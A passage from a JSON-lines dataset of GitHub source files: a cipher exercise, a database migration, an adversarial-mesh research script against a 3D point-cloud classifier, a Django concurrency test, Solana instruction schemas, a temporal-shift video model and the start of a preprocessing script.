if(shift_number > 26):\n shift_number = shift_number - 26\n rotated += chr(shift_number + 64)\n else:\n rotated += char\n\n return rotated\n\n# def rotate (s, amount):\n#\n# UPPERCASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n# LOWERCASE = 'abcdefghijklmnopqrstuvwxyz'\n# upper_shifted = UPPERCASE[amount:] + UPPERCASE[:amount]\n# print(UPPERCASE[amount:])\n# print(UPPERCASE[:amount])\n# print (upper_shifted)\n# lower_shifted = LOWERCASE[amount:] + LOWERCASE[:amount]\n# print(lower_shifted)\n# translation = str.maketrans(UPPERCASE + LOWERCASE, upper_shifted + lower_shifted)\n# print(translation)\n# return s.translate(translation)\n#\n#\n# rotate(\"O M G\", 5)\n","repo_name":"anitabaral/Exercism-exercises","sub_path":"rotational_cipher.py","file_name":"rotational_cipher.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"39562754442","text":"\"\"\"empty message\n\nRevision ID: 1ce7e0de1096\nRevises: aa62f8366190\nCreate Date: 2022-05-19 12:01:23.813701\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1ce7e0de1096'\ndown_revision = 'aa62f8366190'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('groups',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(length=100), nullable=False),\n sa.Column('description', sa.Text(), nullable=True),\n sa.Column('craft_types', sa.String(length=50), nullable=True),\n sa.Column('country', sa.String(length=2), nullable=True),\n sa.Column('owner_id', sa.Integer(), nullable=False),\n sa.Column('moderator_ids', sa.Text(), nullable=True),\n sa.ForeignKeyConstraint(['owner_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('group_memberships',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('group_id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['group_id'], ['groups.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('group_memberships')\n op.drop_table('groups')\n # ### end Alembic commands ###\n","repo_name":"kim-yura/knotelry","sub_path":"migrations/versions/1ce7e0de1096_added_group_tables.py","file_name":"1ce7e0de1096_added_group_tables.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13262662152","text":"import os\nimport yaml\nimport time\nimport torch\nfrom mesh_data import PointCloudData\nfrom pathlib import Path\nimport argparse\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.nn.parallel import DistributedDataParallel\nimport numpy as np\nfrom random import choice\nfrom torch.utils.data import DataLoader\nfrom models.pointnet import PointNetCls, feature_transform_regularizer\n# from models.pointnet2 import PointNet2ClsMsg\n# from models.dgcnn import DGCNN\nfrom pytorch3d.ops import sample_points_from_meshes\nfrom pytorch3d.structures import Meshes\nfrom pytorch3d.structures import join_meshes_as_batch\nfrom pytorch3d.utils import ico_sphere\nfrom torch.autograd import Variable\nfrom torch_scatter import scatter_add\nimport open3d as o3d\nfrom tqdm import tqdm\nfrom pytorch3d.io import load_obj, save_obj\nfrom pytorch3d.loss import (\n chamfer_distance,\n mesh_edge_loss,\n mesh_laplacian_smoothing,\n mesh_normal_consistency,\n)\n\n# set path\npath = Path(\"Manifold40/\")\nvalid_ds = PointCloudData(path, valid=True, folder='test')\n\n\nclass CrossEntropyAdvLoss(nn.Module):\n\n def __init__(self):\n \"\"\"Adversarial function on output probabilities.\n \"\"\"\n super(CrossEntropyAdvLoss, self).__init__()\n\n def forward(self, logits, targets):\n \"\"\"Adversarial loss function using cross entropy.\n\n Args:\n logits (torch.FloatTensor): output logits from network, [B, K]\n targets (torch.LongTensor): attack target class\n \"\"\"\n loss = F.cross_entropy(logits, targets)\n return loss\n\n\ndef my_collate(batch):\n ## load unregular mesh within a batch\n meshes, label = zip(*batch)\n meshes = join_meshes_as_batch(meshes, include_textures=False)\n label = torch.tensor(label)\n return [meshes, label]\n\nclass ClipMeshv_Linf(nn.Module):\n\n def __init__(self, budget):\n \"\"\"Clip mesh vertices with a given l_inf budget.\n\n Args:\n budget (float): perturbation budget\n \"\"\"\n super(ClipMeshv_Linf, self).__init__()\n\n self.budget = budget\n\n def forward(self, vt, ori_vt):\n \"\"\"Clipping every vertice in a mesh.\n\n Args:\n vt (torch.FloatTensor): batch vt, [B, 3, K]\n ori_vt (torch.FloatTensor): original point cloud\n \"\"\"\n with torch.no_grad():\n diff = vt - ori_vt # [B, 3, K]\n norm = torch.sum(diff ** 2, dim=1) ** 0.5 # [B, K]\n scale_factor = self.budget / (norm + 1e-9) # [B, K]\n scale_factor = torch.clamp(scale_factor, max=1.) # [B, K]\n diff = diff * scale_factor[:, None]\n vt = ori_vt + diff\n return vt\n\n\nclass MeshAttack:\n \"\"\"Class for Mesh attack.\n \"\"\"\n\n def __init__(self, model, adv_func, attack_lr=1e-2,\n init_weight=10., max_weight=80., binary_step=10, num_iter=1500):\n \"\"\"Mesh attack by perturbing vertice.\n\n Args:\n model (torch.nn.Module): victim model\n adv_func (function): adversarial loss function\n attack_lr (float, optional): lr for optimization. Defaults to 1e-2.\n init_weight (float, optional): weight factor init. Defaults to 10.\n max_weight (float, optional): max weight factor. Defaults to 80.\n binary_step (int, optional): binary search step. Defaults to 10.\n num_iter (int, optional): max iter num in every search step. Defaults to 500.\n \"\"\"\n\n self.model = model.cuda()\n self.model.eval()\n\n self.adv_func = adv_func\n self.attack_lr = attack_lr\n self.init_weight = init_weight\n self.max_weight = max_weight\n self.binary_step = binary_step\n self.num_iter = num_iter\n self.clip = ClipMeshv_Linf(budget=0.1)\n\n def attack(self, data, target,label):\n \"\"\"Attack on given data to target.\n\n Args:\n data (torch.FloatTensor): victim data, [B, num_vertices, 3]\n target (torch.LongTensor): target output, [B]\n \"\"\"\n B, K = len(data), 1024\n global bas\n data = data.cuda()\n label_val = target.detach().cpu().numpy() # [B]\n\n label = label.long().cuda().detach()\n label_true = label.detach().cpu().numpy()\n\n deform_ori = data.clone()\n\n # weight factor for budget regularization\n lower_bound = np.zeros((B,))\n upper_bound = np.ones((B,)) * self.max_weight\n current_weight = np.ones((B,)) * self.init_weight\n\n # record best results in binary search\n o_bestdist = np.array([1e10] * B)\n o_bestscore = np.array([-1] * B)\n o_bestattack = np.zeros((B, 3, K))\n # Weight for the chamfer loss\n w_chamfer = 1.0\n # Weight for mesh edge loss\n w_edge = 0.2\n # Weight for mesh laplacian smoothing\n w_laplacian = 0.5\n\n # perform binary search\n for binary_step in range(self.binary_step):\n deform_verts = torch.full(deform_ori.verts_packed().shape, 0.000001, device='cuda:%s'%args.local_rank, requires_grad=True)\n ori_def = deform_verts.detach().clone()\n\n bestdist = np.array([1e10] * B)\n bestscore = np.array([-1] * B)\n dist_val = 0\n opt = optim.Adam([deform_verts], lr=self.attack_lr, weight_decay=0.)\n # opt = optim.SGD([deform_verts], lr=1.0, momentum=0.9) #optim.Adam([deform_verts], lr=self.attack_lr, weight_decay=0.)\n\n adv_loss = torch.tensor(0.).cuda()\n dist_loss = torch.tensor(0.).cuda()\n\n total_time = 0.\n forward_time = 0.\n backward_time = 0.\n update_time = 0.\n\n # one step in binary search\n for iteration in range(self.num_iter):\n t1 = time.time()\n opt.zero_grad()\n new_defrom_mesh = deform_ori.offset_verts(deform_verts)\n\n # forward passing\n ori_data = sample_points_from_meshes(data, 1024)\n adv_pl = sample_points_from_meshes(new_defrom_mesh, 1024)\n adv_pl1 = adv_pl.transpose(1, 2).contiguous()\n logits = self.model(adv_pl1) # [B, num_classes]\n if isinstance(logits, tuple): # PointNet\n logits = logits[0]\n\n t2 = time.time()\n forward_time += t2 - t1\n\n pred = torch.argmax(logits, dim=1) # [B]\n success_num = (pred == target).sum().item()\n if iteration % (self.num_iter // 5) == 0:\n print('Step {}, iteration {}, current_c {},success {}/{}\\n'\n 'adv_loss: {:.4f}'.\n format(binary_step, iteration, torch.from_numpy(current_weight).mean(), success_num, B,\n adv_loss.item()))\n dist_val = torch.sqrt(torch.sum(\n (adv_pl - ori_data) ** 2, dim=[1, 2])).\\\n detach().cpu().numpy() # [B]\n pred_val = pred.detach().cpu().numpy() # [B]\n input_val = adv_pl1.detach().cpu().numpy() # [B, 3, K]\n\n # update\n for e, (dist, pred, label, ii) in \\\n enumerate(zip(dist_val, pred_val, label_val, input_val)):\n if dist < bestdist[e] and pred == label:\n bestdist[e] = dist\n bestscore[e] = pred\n if dist < o_bestdist[e] and pred == label:\n o_bestdist[e] = dist\n o_bestscore[e] = pred\n o_bestattack[e] = ii\n\n t3 = time.time()\n # compute loss and backward\n adv_loss = self.adv_func(logits, target).mean()\n loss_chamfer, _ = chamfer_distance(ori_data, adv_pl)\n loss_edge = mesh_edge_loss(new_defrom_mesh)\n loss_laplacian = mesh_laplacian_smoothing(new_defrom_mesh, method=\"uniform\")\n\n loss = adv_loss + torch.from_numpy(current_weight).mean()*(loss_chamfer * w_chamfer + loss_edge * w_edge + loss_laplacian * w_laplacian)\n loss.backward()\n opt.step()\n\n deform_verts.data = self.clip(deform_verts.clone().detach(),\n ori_def)\n\n t4 = time.time()\n backward_time += t4 - t3\n total_time += t4 - t1\n\n if iteration % 100 == 0:\n print('total time: {:.2f}, for: {:.2f}, '\n 'back: {:.6f}, update: {:.2f}, total loss: {:.6f}, chamfer loss: {:.6f}'.\n format(total_time, forward_time,\n backward_time, update_time,loss, loss_chamfer))\n total_time = 0.\n forward_time = 0.\n backward_time = 0.\n update_time = 0.\n torch.cuda.empty_cache()\n\n # adjust weight factor\n for e, label in enumerate(label_val):\n if bestscore[e] == label and bestscore[e] != -1 and bestdist[e] <= o_bestdist[e]:\n # success\n lower_bound[e] = max(lower_bound[e], current_weight[e])\n current_weight[e] = (lower_bound[e] + upper_bound[e]) / 2.\n else:\n # failure\n upper_bound[e] = min(upper_bound[e], current_weight[e])\n current_weight[e] = (lower_bound[e] + upper_bound[e]) / 2.\n\n bas += 1\n ## save the mesh\n new_defrom_mesh = deform_ori.offset_verts(deform_verts)\n for e1 in range(B):\n final_verts, final_faces = new_defrom_mesh.get_mesh_verts_faces(e1)\n final_obj = os.path.join('./p1_manifold_random_target01', 'result_model%s_%s_%s_%s.obj'%(bas,e1,label_val[e1],label_true[e1]))\n save_obj(final_obj, final_verts, final_faces)\n\n fail_idx = (lower_bound == 0.)\n o_bestattack[fail_idx] = input_val[fail_idx]\n\n # return final results\n success_num = (lower_bound > 0.).sum()\n print('Successfully attack {}/{}'.format(success_num, B))\n return o_bestdist, o_bestattack.transpose((0, 2, 1)), success_num\n\n\n\ndef get_random_labels(label):\n ret = []\n for j in range(len(label)):\n random_taget = choice([i for i in range(0,40) if i not in [label[j]]])\n ret.append(random_taget)\n return torch.Tensor(np.array(ret))\n\n\ndef attack():\n model.eval()\n all_adv_pc = []\n all_real_lbl = []\n all_target_lbl = []\n global bas\n bas = 0\n num = 0\n for mesh, label in tqdm(test_loader):\n target_label = get_random_labels(label).long().cuda(non_blocking=True)\n label = label.long().cuda(non_blocking=True)\n \n\n # attack!\n _, best_pc, success_num = attacker.attack(mesh, target_label,label)\n # results\n num += success_num\n all_adv_pc.append(best_pc)\n all_real_lbl.append(label.detach().cpu().numpy())\n all_target_lbl.append(target_label.detach().cpu().numpy())\n\n # accumulate results\n all_adv_pc = np.concatenate(all_adv_pc, axis=0) # [num_data, K, 3]\n all_real_lbl = np.concatenate(all_real_lbl, axis=0) # [num_data]\n all_target_lbl = np.concatenate(all_target_lbl, axis=0) # [num_data]\n return all_adv_pc, all_real_lbl, all_target_lbl, num\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Point Cloud Recognition')\n parser.add_argument('--data_root', type=str,\n default='')\n parser.add_argument('--model', type=str, default='pointnet', metavar='MODEL',\n choices=['pointnet', 'pointnet2',\n 'dgcnn', 'pointconv', ''],\n help='Model to use, [pointnet, pointnet++, dgcnn, pointconv]. '\n 'If not specified, judge from data_root')\n parser.add_argument('--feature_transform', type=int, default=1, help=\"use feature transform\")\n parser.add_argument('--batch_size', type=int, default=16, help='input batch size')\n parser.add_argument('--local_rank', default=-1, type=int,\n help='node rank for distributed training')\n args = parser.parse_args()\n\n dist.init_process_group(backend='nccl')\n torch.cuda.set_device(args.local_rank)\n cudnn.benchmark = True\n num_classes = 40\n\n if args.model == 'pointnet':\n model = PointNetCls(num_classes, args.feature_transform)\n #load pretrain model\n state_dict = torch.load('model/p1.pth', map_location='cpu')\n try:\n model.load_state_dict(state_dict['model_state_dict'])\n except RuntimeError:\n state_dict = {k[7:]: v for k, v in state_dict.items()}\n model.load_state_dict(state_dict)\n\n model = DistributedDataParallel(\n model.cuda(), device_ids=[args.local_rank])\n\n\n print('======> Loading data')\n train_sampler = torch.utils.data.distributed.DistributedSampler(valid_ds)\n test_loader = torch.utils.data.DataLoader(valid_ds, batch_size=args.batch_size,\n num_workers=4, pin_memory=True, drop_last=False, collate_fn=my_collate,\n sampler=train_sampler)\n print('======> Successfully loaded!')\n \n # run attack\n adv_func = CrossEntropyAdvLoss()\n\n attacker = MeshAttack(model, adv_func)\n\n attacked_data, real_label, target_label, success_num = attack()\n","repo_name":"cuge1995/Mesh-Attack","sub_path":"mesh_attack.py","file_name":"mesh_attack.py","file_ext":"py","file_size_in_byte":13737,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"7"} +{"seq_id":"7789937946","text":"from django.test import TestCase\n\nfrom .models import Movie, Booking\nfrom django.db import connections\n\nimport threading\n\n\nclass BookingTestCase(TestCase):\n\n def call_stored_procedure(\n self,\n movie_id,\n customer_email,\n seat_number\n ):\n procedure_name = 'buy_movie_ticket'\n\n db_connection = connections['default']\n\n connection_copy = db_connection.copy()\n\n with connection_copy.cursor() as cursor:\n cursor.callproc(procedure_name, (\n movie_id, customer_email, seat_number))\n\n result = cursor.fetchall()\n print(result)\n\n db_connection.commit()\n\n def test_perform_multiple_booking(self):\n try:\n movie = Movie.objects.create(\n name=\"Movie Title\",\n price=9.99,\n time=\"18:30:00\",\n date=\"2023-09-19\",\n seats_available=100\n )\n movie.save()\n except Exception as e:\n print(\"Error creating a movie\", e)\n\n movie_id = movie.pk\n email = \"faker@gmail.com\"\n seat = \"M20\"\n\n threads = []\n for _ in range(5):\n thread = threading.Thread(\n target=self.call_stored_procedure,\n args=(\n movie_id,\n email,\n seat\n )\n )\n threads.append(thread)\n thread.start()\n\n for thread in threads:\n thread.join()\n\n movie_booking_count = Booking.objects.filter(\n movie=movie,\n seat_number=seat\n ).count()\n\n self.assertEqual(movie_booking_count, 1)\n","repo_name":"sbhusal123/dj_storedprocedure_transaction","sub_path":"booking/ticket/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74786538143","text":"from typing import Optional\nfrom borsh_construct import *\nfrom solders.pubkey import Pubkey\nfrom solders.instruction import Instruction, AccountMeta\n\n\nInitStruct = CStruct(\n \"log_level\" / U8,\n \"init_commission\" / U8,\n \"max_primary_stake\" / U64,\n \"nft_holders_share\" / U8,\n \"initial_redemption_fee\" / U8,\n \"is_validator_id_switchable\" / Bool,\n \"unit_backing\" / U64,\n \"redemption_fee_duration\" / U32,\n \"proposal_quorum\" / U8,\n \"creator_royalties\" / U16,\n \"governance_expiration_time\" / U32,\n \"rarities\" / Vec(U16),\n \"rarity_names\" / Vec(String),\n \"twitter_handle\" / String,\n \"discord_invite\" / String,\n \"validator_name\" / String,\n \"collection_uri\" / String,\n \"website\" / String,\n \"default_uri\" / String,\n)\n\nInstructionEnum = Enum(\n \"MintNft\" / CStruct(\"switchboard_state_bump\"/U8, \"permission_bump\"/U8, \"log_level\"/U8),\n \"ImprintRarity\" / CStruct(\"log_level\" / U8),\n \"Init\" / InitStruct,\n \"Redeem\" / CStruct(\"log_level\"/U8),\n \"NFTWithdraw\" / CStruct(\"cnt\" / U8, \"log_level\"/U8),\n \"ProcessRewards\" / CStruct(\"log_level\"/U8),\n \"InitRebalance\" / CStruct(\"log_level\"/U8),\n \"FinalizeRebalance\" / CStruct(\"log_level\"/U8),\n \"UploadUris\" / CStruct(\"uris\"/ Vec(String), \"rarity\"/U8, \"log_level\"/U8),\n \"ResetUris\" / CStruct(\"log_level\"/U8),\n \"UnDelegateNFT\" / CStruct(\"log_level\"/U8),\n \"DelegateNFT\" / CStruct(\"log_level\"/U8),\n \"CreateVoteAccount\" / CStruct(\"log_level\"/U8),\n \"InitGovernance\",\n \"VoteGovernance\" / CStruct(\"numeration\" / U32, \"vote\"/Bool, \"cnt\"/U8, \"log_level\"/U8),\n \"FinalizeGovernance\" / CStruct(\"numeration\"/U32, \"log_level\"/U8),\n \"ExecuteGovernance\" / CStruct(\"numeration\"/U32, \"log_level\"/U8),\n \"InjectTestingData\" / CStruct(\"num_mints\"/U8, \"log_level\"/U8),\n \n enum_name = \"InstructionEnum\",\n)\n\nGovernanceType = Enum(\n \"ConfigAccount\",\n \"ProgramUpgrade\" / CStruct(\"buffer_account\" / U8[32], \"code_link\" / String),\n \"VoteAccountGovernance\",\n\n enum_name = \"GovernanceType\",\n)\n\nConfigAccountType = Enum(\n \"MaxPrimaryStake\" / CStruct(\"value\" / U64),\n \"NftHolderShare\" / CStruct(\"value\" / U8),\n \"InitialRedemptionFee\" / CStruct(\"value\" / U8),\n \"RedemptionFeeDuration\" / CStruct(\"value\" / U32),\n \"ValidatorName\" / CStruct(\"value\" / String),\n \"TwitterHandle\" / CStruct(\"value\" / String),\n \"DiscordInvite\" / CStruct(\"value\" / String),\n\n enum_name = \"ConfigAccountType\",\n)\n\nVoteAccountGovernance = Enum(\n \"ValidatorId\" / CStruct(\"value\" / U8[32]),\n \"Commission\" / CStruct(\"value\" / U8),\n enum_name = \"VoteAccountGovernance\",\n)\n\nRegistryEnum = Enum(\n \"InitConfig\",\n \"AddProgram\",\n \"RemovePrograms\" / CStruct(\"program_count\" / U8 ),\n \"Reset\",\n \"Blank\",\n\n enum_name=\"RegistryEnum\",\n)\n\ndef build_governance_type(governance_type: GovernanceType.enum, config_account_type:Optional[ConfigAccountType.enum] = None, vote_account_governance: Optional[VoteAccountGovernance.enum] = None):\n if governance_type == GovernanceType.enum.ConfigAccount():\n return GovernanceType.build(governance_type) + ConfigAccountType.build(config_account_type)\n elif governance_type == GovernanceType.enum.VoteAccountGovernance():\n return GovernanceType.build(governance_type) + VoteAccountGovernance.build(vote_account_governance)\n else:\n return GovernanceType.build(governance_type)\n\ndef build_instruction(instruction: InstructionEnum.enum, title: Optional[str] = None, description: Optional[str] = None, governance_type: Optional[GovernanceType.enum] = None, config_account_type:Optional[ConfigAccountType.enum] = None, vote_account_governance: Optional[VoteAccountGovernance.enum] = None, log_level: int = 0):\n if instruction == InstructionEnum.enum.InitGovernance():\n return InstructionEnum.build(instruction) + build_governance_type(governance_type, config_account_type=config_account_type, vote_account_governance=vote_account_governance) + String.build(title) + String.build(description) + (log_level).to_bytes(1, \"big\")\n else:\n return InstructionEnum.build(instruction)\n\n\nclass ComputeBudgetInstruction:\n def __init__(self):\n self.InstructionEnum = Enum(\n \"RequestUnitsDeprecated\" / CStruct(\"units\" / U32, \"additional_fee\"/U32),\n \"RequestHeapFrame\"/ CStruct(\"value\" / U32),\n \"SetComputeUnitLimit\" / CStruct(\"value\" / U32),\n \"SetComputeUnitPrice\" / CStruct(\"value\" / U64),\n\n enum_name = 'InstructionEnum',\n )\n self.program_id = Pubkey.from_string(\"ComputeBudget111111111111111111111111111111\")\n\n def request_heap_frame(self, total_bytes, payer) -> Instruction:\n instruction_bytes = self.InstructionEnum.build(self.InstructionEnum.enum.RequestHeapFrame(total_bytes))\n return Instruction(accounts = [AccountMeta(payer, True, False)], program_id=self.program_id, data=instruction_bytes)\n\n def set_compute_unit_limit(self, units, payer) -> Instruction:\n instruction_bytes = self.InstructionEnum.build(self.InstructionEnum.enum.SetComputeUnitLimit(units))\n return Instruction(accounts = [AccountMeta(payer, True, False)], program_id=self.program_id, data=instruction_bytes)\n\n def set_compute_unit_price(self, micro_lamports, payer) -> Instruction:\n instruction_bytes = self.InstructionEnum.build(self.InstructionEnum.enum.SetComputeUnitPrice(micro_lamports))\n return Instruction(accounts = [AccountMeta(payer, True, False)], program_id=self.program_id, data=instruction_bytes)\n","repo_name":"ingl-DAO/permissionless-validators","sub_path":"python/src/instruction.py","file_name":"instruction.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73879010784","text":"# Code for \"TSM: Temporal Shift Module for Efficient Video Understanding\"\n# arXiv:1811.08383\n# Ji Lin*, Chuang Gan, Song Han\n# {jilin, songhan}@mit.edu, ganchuang@csail.mit.edu\n\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass TemporalShift(nn.Module):\n def __init__(self, net, n_segment=3, n_div=8, inplace=False):\n super(TemporalShift, self).__init__()\n self.net = net\n self.n_segment = n_segment\n self.fold_div = n_div\n self.inplace = inplace\n if inplace:\n print('=> Using in-place shift...')\n print('=> Using fold div: {}'.format(self.fold_div))\n\n def forward(self, x):\n x = self.shift(x, self.n_segment, fold_div=self.fold_div, inplace=self.inplace)\n return self.net(x)\n\n @staticmethod\n def shift(x, n_segment, fold_div=3, inplace=False):\n nt, c, h, w = x.size()\n n_batch = nt // n_segment\n x = x.view(n_batch, n_segment, c, h, w)\n\n fold = c // fold_div\n if inplace:\n # Due to some out of order error when performing parallel computing.\n # May need to write a CUDA kernel.\n # raise NotImplementedError\n out = InplaceShift.apply(x, fold)\n else:\n out = torch.zeros_like(x)\n out[:, :-1, :fold] = x[:, 1:, :fold] # shift left\n out[:, 1:, fold: 2 * fold] = x[:, :-1, fold: 2 * fold] # shift right\n out[:, :, 2 * fold:] = x[:, :, 2 * fold:] # not shift\n\n return out.view(nt, c, h, w)\n\n\nclass InplaceShift(torch.autograd.Function):\n # Special thanks to @raoyongming for the help to this function\n @staticmethod\n def forward(ctx, input, fold):\n # not support higher order gradient\n # input = input.detach_()\n ctx.fold_ = fold\n n, t, c, h, w = input.size()\n buffer = input.data.new(n, t, fold, h, w).zero_()\n buffer[:, :-1] = input.data[:, 1:, :fold]\n input.data[:, :, :fold] = buffer\n buffer.zero_()\n buffer[:, 1:] = input.data[:, :-1, fold: 2 * fold]\n input.data[:, :, fold: 2 * fold] = buffer\n return input\n\n @staticmethod\n def backward(ctx, grad_output):\n # grad_output = grad_output.detach_()\n fold = ctx.fold_\n n, t, c, h, w = grad_output.size()\n buffer = grad_output.data.new(n, t, fold, h, w).zero_()\n buffer[:, 1:] = grad_output.data[:, :-1, :fold]\n grad_output.data[:, :, :fold] = buffer\n buffer.zero_()\n buffer[:, :-1] = grad_output.data[:, 1:, fold: 2 * fold]\n grad_output.data[:, :, fold: 2 * fold] = buffer\n return grad_output, None\n\n\ndef tsm(tensor, version='zero', inplace=True):\n shape = B, T, C, H, W = tensor.shape\n split_size = C // 4\n if not inplace:\n pre_tensor, post_tensor, peri_tensor = tensor.split(\n [split_size, split_size, C - 2 * split_size],\n dim=2\n )\n if version == 'zero':\n pre_tensor = F.pad(pre_tensor, (0, 0, 0, 0, 0, 0, 1, 0))[:, :-1, ...] # NOQA\n post_tensor = F.pad(post_tensor, (0, 0, 0, 0, 0, 0, 0, 1))[:, 1:, ...] # NOQA\n elif version == 'circulant':\n pre_tensor = torch.cat((pre_tensor[:, -1:, ...], # NOQA\n pre_tensor[:, :-1, ...]), dim=1) # NOQA\n post_tensor = torch.cat((post_tensor[:, 1:, ...], # NOQA\n post_tensor[:, :1, ...]), dim=1) # NOQA\n else:\n raise ValueError('Unknown TSM version: {}'.format(version))\n return torch.cat((pre_tensor, post_tensor, peri_tensor), dim=2).view(shape)\n else:\n out = InplaceShift.apply(tensor)\n return out\n\n\nclass Temporal_Shift(nn.Module):\n def __init__(self, div=4, version='zero', inplace=False, shift_length=1):\n super(Temporal_Shift, self).__init__()\n self.inplace = inplace\n self.div = div\n self.version = version\n assert shift_length > 0\n self.shift_length = shift_length\n\n def forward(self, x):\n '''\n\n :param shift_length: shift length\n :param x: batch * temporal * object * hidden_size or batch * temporal * hidden_size\n :return: out: batch * temporal * object * hidden_size\n '''\n if len(x.shape) == 4:\n batch, temporal, object, hidden_size = x.shape\n split_size = hidden_size // self.div\n pre_tensor, post_tensor, peri_tensor = x.split(\n [split_size, split_size, hidden_size - 2 * split_size],\n dim=3\n )\n if self.version == 'zero':\n pre_tensor = F.pad(pre_tensor, (0, 0, 0, 0, self.shift_length, 0))[:, :-self.shift_length, ...] # NOQA\n post_tensor = F.pad(post_tensor, (0, 0, 0, 0, 0, self.shift_length))[:, self.shift_length:, ...] # NOQA\n elif self.version == 'circulant':\n pre_tensor = torch.cat((pre_tensor[:, -self.shift_length:, ...], # NOQA\n pre_tensor[:, :-self.shift_length, ...]), dim=1) # NOQA\n post_tensor = torch.cat((post_tensor[:, self.shift_length:, ...], # NOQA\n post_tensor[:, :self.shift_length, ...]), dim=1) # NOQA\n else:\n raise ValueError('Unknown TSM version: {}'.format(self.version))\n return torch.cat((pre_tensor, post_tensor, peri_tensor), dim=3)\n elif len(x.shape) == 3:\n batch, temporal, hidden_size = x.shape\n split_size = hidden_size // self.div\n pre_tensor, post_tensor, peri_tensor = x.split(\n [split_size, split_size, hidden_size - 2 * split_size],\n dim=2\n )\n if self.version == 'zero':\n pre_tensor = F.pad(pre_tensor, (0, 0, self.shift_length, 0))[:, :-self.shift_length, ...] # NOQA\n post_tensor = F.pad(post_tensor, (0, 0, 0, self.shift_length))[:, self.shift_length:, ...] # NOQA\n elif self.version == 'circulant':\n pre_tensor = torch.cat((pre_tensor[:, -self.shift_length:, ...], # NOQA\n pre_tensor[:, :-self.shift_length, ...]), dim=1) # NOQA\n post_tensor = torch.cat((post_tensor[:, self.shift_length:, ...], # NOQA\n post_tensor[:, :self.shift_length, ...]), dim=1) # NOQA\n else:\n raise ValueError('Unknown TSM version: {}'.format(self.version))\n return torch.cat((pre_tensor, post_tensor, peri_tensor), dim=2)\n else:\n raise ValueError('Wrong input shape: {}'.format(x.shape))\n\n\n\nif __name__ == '__main__':\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = '0,1,2'\n # test inplace shift v.s. vanilla shift\n tsm1 = nn.DataParallel(TemporalShift(nn.Sequential(), n_segment=8, n_div=8, inplace=False))\n tsm2 = nn.DataParallel(TemporalShift(nn.Sequential(), n_segment=8, n_div=8, inplace=True))\n\n print('=> Testing GPU...')\n tsm1.cuda()\n tsm2.cuda()\n # test forward\n with torch.no_grad():\n for i in range(10):\n x = torch.rand(9 * 8, 3, 224, 224).cuda()\n y1 = tsm1(x)\n y2 = tsm2(x)\n assert torch.norm(y1 - y2).item() < 1e-5\n\n # test backward\n with torch.enable_grad():\n for i in range(10):\n x1 = torch.rand(9 * 8, 3, 224, 224).cuda()\n x1.requires_grad_()\n x2 = x1.clone()\n y1 = tsm1(x1)\n y2 = tsm2(x2)\n grad1 = torch.autograd.grad((y1 ** 2).mean(), [x1])[0]\n grad2 = torch.autograd.grad((y2 ** 2).mean(), [x2])[0]\n assert torch.norm(grad1 - grad2).item() < 1e-9\n print('Test passed.')\n","repo_name":"CFM-MSG/Code_LEORN","sub_path":"lib/models/temporal_shift.py","file_name":"temporal_shift.py","file_ext":"py","file_size_in_byte":7797,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"43822719141","text":"import sys\r\nimport os\r\nimport errno\r\nfrom collections import Counter\r\nfrom setup.settings import preprocessing, hparams\r\nfrom core.tokenizer import tokenize\r\nfrom core.sentence import score_answers, replace_in_answers\r\nfrom tqdm import tqdm\r\nfrom itertools import zip_longest\r\nfrom multiprocessing import Pool\r\nfrom threading import Thread\r\nimport time\r\n\r\nfiles = {\r\n 'train.from': {'amount': 1, 'up_to': -1},\r\n 'tst2012.from': {'amount': .1, 'up_to': preprocessing['test_size']},\r\n 'tst2013.from': {'amount': .1, 'up_to': preprocessing['test_size']},\r\n 'train.to': {'amount': 1, 'up_to': -1},\r\n 'tst2012.to': {'amount': .1, 'up_to': preprocessing['test_size']},\r\n 'tst2013.to': {'amount': .1, 'up_to': preprocessing['test_size']},\r\n}\r\n\r\nvocab = Counter([])\r\n\r\ndef prepare_files():\r\n global vocab\r\n\r\n print(\"\\nPreparing training set from raw set\")\r\n\r\n try:\r\n os.makedirs(preprocessing['train_folder'])\r\n except OSError as e:\r\n if e.errno != errno.EEXIST:\r\n raise\r\n\r\n train_log_dir = os.path.join(hparams['out_dir'], 'train_log')\r\n try:\r\n os.makedirs(train_log_dir)\r\n except OSError as e:\r\n if e.errno != errno.EEXIST:\r\n raise\r\n\r\n for file_name, amounts in files.items():\r\n\r\n vocab = Counter([])\r\n\r\n print(\"\\nFile: {} (iteration = 10k lines)\".format(file_name))\r\n\r\n out_file = open('{}/{}'.format(preprocessing['train_folder'], file_name), 'w', encoding='utf-8', buffering=131072)\r\n\r\n read = 0\r\n amount = 